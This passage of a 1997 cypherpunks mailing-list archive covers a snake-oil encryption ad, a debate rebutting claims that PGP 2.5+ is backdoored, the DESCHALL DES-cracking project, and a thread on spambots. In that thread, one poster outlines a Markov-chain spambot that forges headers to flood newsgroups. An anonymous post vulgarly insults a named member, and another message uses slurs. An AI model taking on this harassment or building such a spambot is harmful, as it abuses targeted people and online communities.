  "Sitting right on top of my keyboard."

  "Spooks and phantoms, they ain't scary,
  "As long as I've got the Virgin Mary,
  "Sitting right on top of my keyboard."

  "The military, they can't kill me,
  "As long as I've got my buddy, Phil Z.
  "Sitting right on top of my keyboard."

  "Moe and Curly, also Larry,
  "Keep the Feds from being scary,
  "Sitting right on top of my keyboard.

TruthMonger







From DataETRsch at aol.com  Thu Mar 13 17:03:19 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Thu, 13 Mar 1997 17:03:19 -0800 (PST)
Subject: *** VSA2048 Cryptography Module ***
Message-ID: <970313200154_-869287592@emout17.mail.aol.com>


Hello,

Greetings! DataET Research, Data Engineering Technologies, has recently
initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM
implements a relatively new, but extensively advanced and sophisticated,
encryption algorithm named VSA2048. If you are not interested in
incorporating the power of advanced encryption into the software that you
develop, you may want to visit http://members.aol.com/dataetrsch/ if you are
searching for a help file / system development, installation program
development, or shareware distribution and marketing service. Otherwise,
please continue on.

VSACM (the VSA2048 algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Is a cost-effective size of only 50 kilobytes.
o Contains more than 120 procedures and functions.
o Implements the VSA2048 encryption algorithm.
o Allows encryption keys as large as 2048 bits.
o Is extensively key and data dependent.
o Includes 18 algorithm extensions.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Includes time and date locking features. 
o Includes file specific unique encryption features.
o Includes data importance and sensitivity stamping features.

VSACM, being a Windows DLL module, can be accessed through programs developed
with popular application and database programming languages and environments
such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk,
dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others.

DataET Research has released a shareware trial edition version of VSACM named
VSACM V2.0.

To download VSACM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/vsacm.html.

I hope you will consider applying VSACM in the software you develop.
Thank-you very much for your time.

Sincerely,

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies





From an7575 at anon.nymserver.com  Thu Mar 13 17:06:22 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Thu, 13 Mar 1997 17:06:22 -0800 (PST)
Subject: Failure of centralized certificates - was "Experts slam PGP
In-Reply-To: <199703132206.RAA04047@alpha.pair.com>
Message-ID: <199703140106.SAA12251@shaman.lycaeum.org>



e$pam wrote:
>  From: kilgallen at eisner.decus.org (Larry Kilgallen)
>  Subject: Re: Failure of centralized certificates - was "Experts slam PGP
>  encryption"

> In article <5g8i92$4rs at news.ox.ac.uk>, patrick at gryphon.psych.ox.ac.uk
>  (Patrick Juola) writes:

>  >>As a corporation with diverse ownership, it should be much more complex
>  >>for VeriSign to subvert their own system for a cause than it would be
>  >>in the case of an individual such as Phil Zimmermann or David Sternlight.
 
>  The only ones we care about are those with "keys to the kingdom".
>  In the case of those who are so empowered, one needs positive
>  incentive for them to corrupt the database.  Could some political
>  cause provide that incentive -- yes.

  Damn good thing that there are no political issues surrounding crypto.

TruthMonger







From dthorn at gte.net  Thu Mar 13 19:28:10 1997
From: dthorn at gte.net (Dale Thorn)
Date: Thu, 13 Mar 1997 19:28:10 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <k3ci4D12w165w@bwalk.dm.com>
Message-ID: <3328C5B6.E2E@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> ichudov at algebra.com (Igor Chudov @ home) writes:
> > Dale Thorn wrote:
> > > It was obvious to me (a native speaker) early on that the messages
> > > from GB referring to Dr. Vulis were auto-generated.

> > i am sure they are not machine generated. the content is different
> > every time, plus it srt of depends on the context to which he is replying.
> > like, if vulis's article is about sexual perversions, GB calls him a
> > pervert.

> I've been writing a program (in C, actually, although perl might be
> a good tool for strings and such :-) that would scan Usenet newsgroups
> for trigger keywords and generate randomized follow-ups depending on
> what's been said. It's a big project; I hoped to have it done by
> April 1st, but it'll definitely take longer.

I could write what GB's auto-postings were doing in a handful of
hours.  It was painfully obvious, i.e., it was obvious that GB would
no more take the time to hand type those inane contentless replies
than Gilmore would take the time to hand inspect c-punks messages.

Before the modern DOS word processors came along, text parsers for
formatting and printing were a dime a dozen, and GB's parser gave
no signs of being anything beyond the simplest one-phrase reply 'bot.






From ichudov at algebra.com  Thu Mar 13 19:39:22 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 19:39:22 -0800 (PST)
Subject: *** VSA2048 Cryptography Module ***
In-Reply-To: <970313200154_-869287592@emout17.mail.aol.com>
Message-ID: <199703140335.VAA17689@manifold.algebra.com>


Mr. Ramos, 

How about your promise to release the source code? I am sure that you,
as an honest and honorable man and a businessman who needs trust, will
have no problems fulfilling your promise.

Your promise is long overdue.

Right? 

igor

DataETRsch at aol.com wrote:
> 
> Hello,
> 
> Greetings! DataET Research, Data Engineering Technologies, has recently
> initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM
> implements a relatively new, but extensively advanced and sophisticated,
> encryption algorithm named VSA2048. If you are not interested in
> incorporating the power of advanced encryption into the software that you
> develop, you may want to visit http://members.aol.com/dataetrsch/ if you are
> searching for a help file / system development, installation program
> development, or shareware distribution and marketing service. Otherwise,
> please continue on.
> 
> VSACM (the VSA2048 algorithm)...
> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Is a cost-effective size of only 50 kilobytes.
> o Contains more than 120 procedures and functions.
> o Implements the VSA2048 encryption algorithm.
> o Allows encryption keys as large as 2048 bits.
> o Is extensively key and data dependent.
> o Includes 18 algorithm extensions.
> o Processes all forms of binary and ASCII files.
> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.
> o Includes time and date locking features. 
> o Includes file specific unique encryption features.
> o Includes data importance and sensitivity stamping features.
> 
> VSACM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk,
> dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others.
> 
> DataET Research has released a shareware trial edition version of VSACM named
> VSACM V2.0.
> 
> To download VSACM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/vsacm.html.
> 
> I hope you will consider applying VSACM in the software you develop.
> Thank-you very much for your time.
> 
> Sincerely,
> 
> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 



	- Igor.





From ichudov at algebra.com  Thu Mar 13 19:42:19 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 19:42:19 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328C5B6.E2E@gte.net>
Message-ID: <199703140332.VAA17635@manifold.algebra.com>


stop spamming the list thorn

Dale Thorn wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> > ichudov at algebra.com (Igor Chudov @ home) writes:
> > > Dale Thorn wrote:
> > > > It was obvious to me (a native speaker) early on that the messages
> > > > from GB referring to Dr. Vulis were auto-generated.
> 
> > > i am sure they are not machine generated. the content is different
> > > every time, plus it srt of depends on the context to which he is replying.
> > > like, if vulis's article is about sexual perversions, GB calls him a
> > > pervert.
> 
> > I've been writing a program (in C, actually, although perl might be
> > a good tool for strings and such :-) that would scan Usenet newsgroups
> > for trigger keywords and generate randomized follow-ups depending on
> > what's been said. It's a big project; I hoped to have it done by
> > April 1st, but it'll definitely take longer.
> 
> I could write what GB's auto-postings were doing in a handful of
> hours.  It was painfully obvious, i.e., it was obvious that GB would
> no more take the time to hand type those inane contentless replies
> than Gilmore would take the time to hand inspect c-punks messages.
> 
> Before the modern DOS word processors came along, text parsers for
> formatting and printing were a dime a dozen, and GB's parser gave
> no signs of being anything beyond the simplest one-phrase reply 'bot.
> 



	- Igor.





From dthorn at gte.net  Thu Mar 13 19:57:36 1997
From: dthorn at gte.net (Dale Thorn)
Date: Thu, 13 Mar 1997 19:57:36 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140332.VAA17635@manifold.algebra.com>
Message-ID: <3328CC96.59F7@gte.net>


Igor Chudov @ home wrote:
> stop spamming the list thorn
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

What the hell is this?






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From ichudov at algebra.com  Thu Mar 13 20:10:09 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 20:10:09 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328CC96.59F7@gte.net>
Message-ID: <199703140359.VAA17922@manifold.algebra.com>


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > stop spamming the list thorn
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> What the hell is this?
> 

:) That's an illustration that it is easy to post things that look
autogenerated, but are not.

On the other hand, it is possible to autogenerate things that look
non-trivial to a novice.

One gentleman from a third-rate educational institution is known
for sending tons of lisp-generated articles to one of the moderated
newsgroups, just to annoy moderators. They do look like they are created
by someone with a rudiment of inteligence.

	- Igor.





From dthorn at gte.net  Thu Mar 13 20:35:23 1997
From: dthorn at gte.net (Dale Thorn)
Date: Thu, 13 Mar 1997 20:35:23 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140359.VAA17922@manifold.algebra.com>
Message-ID: <3328D568.6C97@gte.net>


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > stop spamming the list thorn
> >   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > What the hell is this?

> That's an illustration that it is easy to post things that look
> autogenerated, but are not. On the other hand, it is possible to
> autogenerate things that look non-trivial to a novice.

I'll agree readily with the latter sentence, but not with the
former, if a fairly large number of variations are involved.
After all, who would bother with that much precision typing?

> One gentleman from a third-rate educational institution is known
> for sending tons of lisp-generated articles to one of the moderated
> newsgroups, just to annoy moderators. They do look like they are created
> by someone with a rudiment of inteligence.

Yeah, that's the goal of the spambots. They're actually useful tools
for combatting the elitist parasites, er, tenured professors who
troll these net forums so much. Problem is, the sheeple get confused
about who's doing what to whom...






From ichudov at algebra.com  Thu Mar 13 21:50:13 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 21:50:13 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328D568.6C97@gte.net>
Message-ID: <199703140544.XAA00504@manifold.algebra.com>


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > stop spamming the list thorn
> > >   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > > What the hell is this?
> 
> > That's an illustration that it is easy to post things that look
> > autogenerated, but are not. On the other hand, it is possible to
> > autogenerate things that look non-trivial to a novice.
> 
> I'll agree readily with the latter sentence, but not with the
> former, if a fairly large number of variations are involved.
> After all, who would bother with that much precision typing?

I am not so sure that it really was precision typing. (and would like to
look at evidence)
 
> > One gentleman from a third-rate educational institution is known
> > for sending tons of lisp-generated articles to one of the moderated
> > newsgroups, just to annoy moderators. They do look like they are created
> > by someone with a rudiment of inteligence.
> 
> Yeah, that's the goal of the spambots. They're actually useful tools
> for combatting the elitist parasites, er, tenured professors who
> troll these net forums so much. Problem is, the sheeple get confused
> about who's doing what to whom...
> 

The paragraph above reminds me of The Right Reverend Colin James III.

He was also trying to combat elitist professors. That is a long and
happy story.

I think that a perfect spambot is possible and is a great exercise in
programming. It is also a cool and very creative idea, and as someone
suggested earlier, it can be created on the basis of cbcb. The net
result of the spambot would probably be a huge scandal and lots of
people leaving usenet. Some of them would be tenured professors. I see
few people who would benefit from it though.

Along the lines of poetry festivals and spambots, I may suggest this.
When I was 16, I wrote a prose writing program in Pascal. It read a long
text and created a table: as the key, it had pairs of words, and as the
data, it had list of all words that follow the pair in the index. The
table was generated by a single pass through the source text, where
there was a moving 3-word window and first two words were used as the
key to the third word. The window moves one word at a time.

The program then attempted to generate intelligent-sounding garbage, in
the following way. It started with a random pair of words from the
source text. It then looked up the table and selected(**) the word that
was most frequently used after these two. Then a moving window moved one
word right to the next and took the last word (which was just selected)
and the word before last as the key into the table, and did that ad 
infinitum.

The loop repeats indefinitely. The text that results looks like it was
written by a schizophrenic -- it is more or less correct grammatically,
uses more or less compatible words and seems to make sense, but the
meaning seems to evade the reader. It is an extremely strange and annoying
feeling.

(**) The problem with this algorithm is that after a while, it starts
looping.  To fix that, the process of selection needs to be randomized
somewhat. The possibe randomizations are obvious.

To apply this to poetry and following-up spambots, it can do the
following [besides forging headers, etc]: for each message, read it,
create the table, and follow up with "I agree" and a schizophrenized
version of the quoted article.

It can also use USENET as a bigger source of the triples. I strongly
suggest to build one table per newsgroup and not mix diff. newsgroups
together.  This way, spambot posting to comp.lang.eiffel would talk
about Eiffel and contravariance, and a spambot posting to
soc.culture.russian would talk about lying homosexual purebred sovok
forgers.

If we think about it for long enough time, this algorithm guarantees
that spambot-generated messages will always be on topic in the
newsgroups that are being spammed. That is going to perplex people 
very much.

	- Igor.


``In my final assault to save time for all men to have Eternal Life, I had
to face eons of time limits (negative micro-split second, split second,
etc., time limits) since I was born at Hanceville and could only make
ten mistakes in one locality or else it would have been over for all men
in Eternity as they would have been exterminated in the spirit and dead
forever in a lethal deadly proton.''

``u.s. atty d.blair watson returned my call today,thank you, he
received a letter from ok. atty general office referring my info
to him about gardner ks 8-10-95. i talked to watson today 3-5-97
watson told me that its not against the law for a federal 
operative to intimadate a person from entering the u.s.federal
courts building, i find that hard to belive but thats what he
said, i guess what one person considers intimadation a other
person might not,i told him about the part of the setup were it
appeared a person was going for a gun,when joe t*** pulled 
towards the FLAGED car and about hit it,its like well did you 
see a gun? no....was i supposed to? would it matter if i had?
what if they shot at me and missed? i think watson missing the
point, if watson knows why          congress voted to stop
wiretap authourity from expanding,he would check out joe T***''





From toto at sk.sympatico.ca  Fri Mar 14 00:03:04 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 14 Mar 1997 00:03:04 -0800 (PST)
Subject: *** VSA2048 Cryptography Module ***
In-Reply-To: <199703140335.VAA17689@manifold.algebra.com>
Message-ID: <3328EB21.69DC@sk.sympatico.ca>


> DataETRsch at aol.com wrote:
> > Greetings! DataET Research, Data Engineering Technologies, has recently
> > initiated the distribution of VSACM, VSA2048 Cryptography Module.

Igor Chudov @ home wrote:
> How about your promise to release the source code? I am sure that you,
> as an honest and honorable man and a businessman who needs trust, will
> have no problems fulfilling your promise.
> 
> Your promise is long overdue.

Igor, 
  You have to remember how easily DataRETch's feeling were hurt the last
time they advertised on the CypherPunks list, when list members 'flamed'
them with questions like, "How does it work?"
  So let's try to ask kinder, gentler questions this time around, such
as, "Do the disks come in pretty colors?"
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From an7575 at anon.nymserver.com  Fri Mar 14 00:29:09 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Fri, 14 Mar 1997 00:29:09 -0800 (PST)
Subject: Silvernail Concedes / Hides In Shame
In-Reply-To: <970313.203200.4c0.rnr.w165w@sendai.scytale.com>
Message-ID: <199703140829.BAA28188@shaman.lycaeum.org>



Roy M. Silvernail wrote:
> For the rest of the list, my comments were sent to
> an7575 at anon.nymserver.com in private mail.  He/she/it chose to quote
> private mail to the list.  Make of that what you will.

  If this is the case, Roy, I apologize.
  I didn't notice that you had changed the reply-to address on your
response to bypass the anonymity of your reply, so it appeared in
my headers in the same format as those replies I receive through
the list.

  I sometimes forget that there are those who do not wish the 
contents of their private email to reflect on their public image.
  I wouldn't lose too much sleep over it, however, since many 
people on the list hate to have their bubbles burst and probably
killfiled me after my first post.

  I'm still waiting for someone to reply to the actual issues I
raised in my post, as opposed dealing with imaginary daemons that
they tacked on to the thread.

TruthMonger






From rcv at dopey.verser.frii.com  Fri Mar 14 00:42:52 1997
From: rcv at dopey.verser.frii.com (Rocke Verser)
Date: Fri, 14 Mar 1997 00:42:52 -0800 (PST)
Subject: DESCHALL v0.214 now available -- US/Canada only
Message-ID: <199703140842.BAA03852@dopey.verser.frii.com>


Greetings!

DESCHALL Version 0.214 is now available in the US and Canada.
DESCHALL is a client-server based approach to cracking the RSA
DES Challenge.

Information about DESCHALL is available at the following Web site:

     http://www.frii.com/~rcv/deschall.htm

As indicated in the above Web page, Michael Paul Johnson has
graciously agreed to distribute DESCHALL from his export-controlled
North American Crypto Site.  [Thanks, MPJ!]

At the present time, the server is running at about 2% of capacity.
The server can handle a *whole lot* more clients.

Clients are available for Linux, FreeBSD, OS/2, Windows 95/NT,
and Sparc.  [Offers for guest accounts to compile other clients
gladly accepted!]

Pentium 120MHz clients can test about 600,000 keys per second.

Good luck!

-- Rocke Verser, rcv at dopey.verser.frii.com





From nobody at hidden.net  Fri Mar 14 06:01:18 1997
From: nobody at hidden.net (Anonymous)
Date: Fri, 14 Mar 1997 06:01:18 -0800 (PST)
Subject: [ADMINISTRATIVIUM] ElGamal
Message-ID: <199703141357.FAA11256@jefferson.hidden.net>


The only `culture' Timmy C[ocksucker] May 
possesses is that cultivated from his foreskin 
scrapings.

           O O  Timmy C[ocksucker] May
            |
          \___/
           \_/






From dlv at bwalk.dm.com  Fri Mar 14 06:07:38 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 06:07:38 -0800 (PST)
Subject: *** VSA2048 Cryptography Module ***
In-Reply-To: <3328EB21.69DC@sk.sympatico.ca>
Message-ID: <LZ7J4D17w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:

> > DataETRsch at aol.com wrote:
> > > Greetings! DataET Research, Data Engineering Technologies, has recently
> > > initiated the distribution of VSACM, VSA2048 Cryptography Module.
>
> Igor Chudov @ home wrote:
> > How about your promise to release the source code? I am sure that you,
> > as an honest and honorable man and a businessman who needs trust, will
> > have no problems fulfilling your promise.
> >
> > Your promise is long overdue.
>
> Igor,
>   You have to remember how easily DataRETch's feeling were hurt the last
> time they advertised on the CypherPunks list, when list members 'flamed'
> them with questions like, "How does it work?"
>   So let's try to ask kinder, gentler questions this time around, such
> as, "Do the disks come in pretty colors?"

Some people do feel more comfortable on moderated lists where the moderator
enforces comity - sometimes with lawyer letters.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Fri Mar 14 06:07:41 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 06:07:41 -0800 (PST)
Subject: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703140829.BAA28188@shaman.lycaeum.org>
Message-ID: <4X7J4D16w165w@bwalk.dm.com>


TruthMonger <an7575 at anon.nymserver.com> writes:

> Roy M. Silvernail wrote:
> > For the rest of the list, my comments were sent to
> > an7575 at anon.nymserver.com in private mail.  He/she/it chose to quote
> > private mail to the list.  Make of that what you will.
>
>   If this is the case, Roy, I apologize.
>   I didn't notice that you had changed the reply-to address on your
> response to bypass the anonymity of your reply, so it appeared in
> my headers in the same format as those replies I receive through
> the list.
>
>   I sometimes forget that there are those who do not wish the
> contents of their private email to reflect on their public image.
>   I wouldn't lose too much sleep over it, however, since many
> people on the list hate to have their bubbles burst and probably
> killfiled me after my first post.
>
>   I'm still waiting for someone to reply to the actual issues I
> raised in my post, as opposed dealing with imaginary daemons that
> they tacked on to the thread.

Maybe they're afraid that if they express their views on the snake oil
vendor you originally criticized, they too will get lawyer threats.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dthorn at gte.net  Fri Mar 14 07:06:51 1997
From: dthorn at gte.net (Dale Thorn)
Date: Fri, 14 Mar 1997 07:06:51 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140544.XAA00504@manifold.algebra.com>
Message-ID: <33296935.3C5E@gte.net>


Igor Chudov @ home wrote:
> Along the lines of poetry festivals and spambots, I may suggest this.
> When I was 16, I wrote a prose writing program in Pascal. It read a long
> text and created a table: as the key, it had pairs of words, and as the
> data, it had list of all words that follow the pair in the index. The
> table was generated by a single pass through the source text, where
> there was a moving 3-word window and first two words were used as the
> key to the third word. The window moves one word at a time.
> The loop repeats indefinitely. The text that results looks like it was
> written by a schizophrenic -- it is more or less correct grammatically,
> uses more or less compatible words and seems to make sense, but the
> meaning seems to evade the reader. It is an extremely strange and
> annoying feeling.

If an actor really "gets into" their part, could you easily tell
if the schizophrenia is good acting, or is latent in the actor?
(BTW, does not apply to O.J. Simpson or Ronald Reagan).

I hope you're not writing Pascal any more.






From trei at process.com  Fri Mar 14 07:19:15 1997
From: trei at process.com (Peter Trei)
Date: Fri, 14 Mar 1997 07:19:15 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
Message-ID: <199703141519.HAA27477@toad.com>


Someone mistitling itself "Truthmonger" writes:

>   Now that you seem to have actually read what I have written, perhaps 
> you might consider reading what you, yourself, have written.
>   I stated my case for contending that PGP=>2.5 has been compromised, 
> and got back wild-eyed demands for proof of that which I did not
> claim, mainly, that PGP had been 'broken.'

>   To reiterate my original observations:
> 1. The development of RSA was funded and controlled by the spooks.
> i.e. - The National Science Foundation and the Navy.
> 2. The campaign of persecution against Phil Zimmerman ground to a
> halt once he agreed to PGP using the spook-developed RSAREF subroutines
> to implement the RSA functions, instead of PGP's original subroutines.

>   If people with guns came to me and told me that software I had 
> written now had to use their subroutines, instead of my own, then
> I would consider my software 'compromised', regardless of whether
> or not I could immediately discern any anomalies in it.
>   It is far, far easier to 'build' a back-door, than to 'find' one.

"TM" (I can't bring myself to use it's full name, since it is so
totally inappropriate) has made the following claims:

1. "PGP => 2.5 has been compromised."
2. "It is far, far easier to 'build' a back-door, than to 'find' 
    one."

His main arguement rests on the fact that the later versions
of PGP use RSAREF, rather than Phil's own code.

As support of the first claim, he claims:

> 1. The development of RSA was funded and controlled by the spooks.
> i.e. - The National Science Foundation and the Navy. 

I'm not sure what you're referring to with "RSA" here - is it the 
algorithm or the company? 

If it's the algorithm, you may or may not have the intellectual capacity 
to verify it yourself - if you don't you have no business telling us it's 
compromised, and if you do, either publish the problem (and claim your 
15 minutes of fame), or admit there is no hole you are aware of. 
There are plenty of people on this list who can follow the math, even
if you can't.

If it's the company, then you are either ignorant or lying. RSA has 
*not* had a good relationship with the USG, as those who have been 
following the matter over the years know well. Most recently, you 
will notice that it has licensed some of it's patents to a Japanese
chip maker in an effort to avoid problems with US export 
restrictions. Is this the action of a USG patsy?

> 2. The campaign
> of persecution against Phil Zimmerman ground to a halt once he
> agreed to PGP using the spook-developed RSAREF subroutines to
> implement the RSA functions, instead of PGP's original subroutines.

PGP 2.5 was released in March 1994, about a year after Phil was
indicted. It took until January 1996 for the indictment to be dropped;
nearly another two years. If a deal was struck, why did it take so
long? The dismissal of Phil's persecution was almost certainly due to
(a) the approach of the statute of limitations, and (b), the very 
high probability that he would be found innocent. if they took him 
to trial. The government simply ran out of legal pretexts under 
which to harass him.

Now that your supporting assertions have been shown to be flawed,
let's return to the original claims.

1. "PGP => 2.5 has been compromised."
2. "It is far, far easier to 'build' a back-door, than to 'find' 
    one."

The problem, TM, is that we have full source code, and anyone
with the intelligence and knowledge required can check it
independently. PGP and RSAREF are both distributed as source.
There is not one byte of instructions or data that have to 
be accepted on faith - no precompiled libraries, no mysterious
DLLs or ActiveX controls. 

If there is a backdoor, show it to us.

Your second claim, that it is easier to build a backdoor than to
find one, is true but not pertinant. Let's try an analogy.

1. You buy a house from a builder. You, being paranoid, wonder if
the builder has included a secret door to enable him to
enter the house without your permission. You investigate what you
can, but in the end are left with some doubts.

2. You buy a set of blueprints from the builder, and examine them
carefully for weaknesses. You then buy a plot of land of your choice, 
hire the workers you want, get materials from any supplier you wish. 
You supervise the construction yourself down to the last detail. 
Others who have purchased the same blue prints include trusted 
independent architects and construction engineers, who concur with you 
thatno hidden back doors can be found in the design. At this 
point, how worried are you that the builder has left himself an 
unauthorized entry?

The situation with PGP >=2.5 is like the second scenario, not the 
first.

What it comes down to "TM" is: Put up or shut up. You can't spread
FUD in a situation where there is no unknown to Fear, no Uncertainty
to deal with, and no Doubt that we have all the knowledge we need.

Respond in a substantive manner. So far, you've avoided doing so.

Peter Trei
trei at process.com








From ericm at lne.com  Fri Mar 14 08:09:22 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 14 Mar 1997 08:09:22 -0800 (PST)
Subject: DESCHALL v0.214 now available -- US/Canada only
In-Reply-To: <199703140842.BAA03852@dopey.verser.frii.com>
Message-ID: <199703141614.IAA05919@slack.lne.com>


Rocke Verser writes:
> 
> Greetings!
> 
> DESCHALL Version 0.214 is now available in the US and Canada.
> DESCHALL is a client-server based approach to cracking the RSA
> DES Challenge.
> 
> Information about DESCHALL is available at the following Web site:
> 
>      http://www.frii.com/~rcv/deschall.htm



Sorry, but with no source code I'm not touching it.



-- 
             Eric Murray  ericm at lne.com  ericm at motorcycle.com
  Network security and encryption consulting: www.lne.com/ericm/resume.html
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From dlv at bwalk.dm.com  Fri Mar 14 09:31:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 09:31:18 -0800 (PST)
Subject: Fred Cohen and dhp.com
Message-ID: <PLek4D23w165w@bwalk.dm.com>


For a good laugh, check out www.dhp.com where they posted their
e-mail correspondence with Dr. Fred Cohen.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From markm at voicenet.com  Fri Mar 14 13:19:38 1997
From: markm at voicenet.com (Mark M.)
Date: Fri, 14 Mar 1997 13:19:38 -0800 (PST)
Subject: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703140829.BAA28188@shaman.lycaeum.org>
Message-ID: <Pine.LNX.3.95.970314154804.647A-100000@purple.voicenet.com>


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 14 Mar 1997, TruthMonger wrote:

>   If this is the case, Roy, I apologize.
>   I didn't notice that you had changed the reply-to address on your
> response to bypass the anonymity of your reply, so it appeared in
> my headers in the same format as those replies I receive through
> the list.
> 
>   I sometimes forget that there are those who do not wish the 
> contents of their private email to reflect on their public image.
>   I wouldn't lose too much sleep over it, however, since many 
> people on the list hate to have their bubbles burst and probably
> killfiled me after my first post.
> 
>   I'm still waiting for someone to reply to the actual issues I
> raised in my post, as opposed dealing with imaginary daemons that
> they tacked on to the thread.

I will attempt to address the issues you addressed in your post, although I
don't have the original.  You claimed that rsaref was spook-developed and could
have a backdoor in it.  Also, you said that charges were dropped against PRZ
after PGP was redistributed with rsaref.  I'm not sure whether charges were
actually filed against PRZ for patent infringement, but he included rsaref in
later versions to avoid legal problems.  This has nothing to do with PRZ being
charged with illegally exporting PGP.  These charges were dropped right before
the statue of limitations ran out, not after Phil built PGP with rsaref.

The security of rsaref can be verified pretty easily.  Just create a few test
vectors with another rsa implementation such as SSLeay, the rsa perl script,
or Phil's original rsa code.  If the output matches, then there is not a
backdoor in rsa (unless the same backdoor exists in every implementation of
rsa and/or every C compiler).  It could be that there is a way easier than
factoring to break rsa, but in this case, every version of PGP is insecure, not
just >=2.5 (or there might be a way to factor numbers in polynomial time).

The most likely place that there would be a backdoor would be either in the
key-generation algorithm or in the PRNG.  I'm not sure if much of the
key-generation code was changed between PGP 2.3 and 2.5.  There was a bug in
the PRNG that supposedly made it weaker.

Finally, if you're really concerned about rsaref, use the international
version which does not use rsaref (it's also a lot faster).  I know there's
one version that was developed independantly of the other versions from the
2.3 code.  There could be weaknesses in MD5 and IDEA, but MD5 was always used
so if there is a weakness in MD5, then every version of PGP has this weakness.
IDEA was not developed by the USG or anyone that was likely to be influenced
by the USG.  It was also introduced in 2.0, so if there was a weakness in IDEA,
this would mean that every version of PGP >=2.0 would be insecure.

Although I haven't personally scrutinized the PGP source code, I would say that
there is _very_ little chance that there is a backdoor in it.  It might be
insecure, but if this was true, then most crypto programs would also be
breakable.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMynAhizIPc7jvyFpAQEOawf/WxsQ03rHsAFi6dlCm78ByFmuEWD7aU5Q
UcbMPwLAYcrFUmeNNepgMclQyANyVRMMe14BvXevEV36Y+1KBzohvr9eEjbnu7wp
qqp1U1wE2M6eVNI0/xsp6IMeLGHeKQIcXS5Tf0pS3wqUvKbLPnmzDbruuXqrW75l
Y0cWD+5bA+72LKRDK/Nk3v65pvwm3UFT2Kh3dpd+UA13lyb4W3JEEmUMmbI79Hqp
Ueik1rYjYpWpp9YFLLVfOXug6pQiW/FXhnBgQsxuqnw5Hs/73QM4dyRpmL+QRLe5
X4cgtgwAe1ZgZDEVoyHHJLyCtAyJn5w3qQ8GcSqlwD8bM5b6fjsPfA==
=0iGi
-----END PGP SIGNATURE-----






From DataETRsch at aol.com  Fri Mar 14 14:41:26 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Fri, 14 Mar 1997 14:41:26 -0800 (PST)
Subject: VSA2048 Cryptography Module Source Code
Message-ID: <970314174037_-1137100138@emout02.mail.aol.com>


Anyone interested in receiving the source code of VSACM should e-mail
DataETRsch at aol.com with VSACM V2.0 Source Code Request in the subject line.
(BTW, about that "if they come in pretty disks" line, very funny.)

Jeremy Yu-Ramos
DataET Research





From dlv at bwalk.dm.com  Fri Mar 14 15:30:19 1997
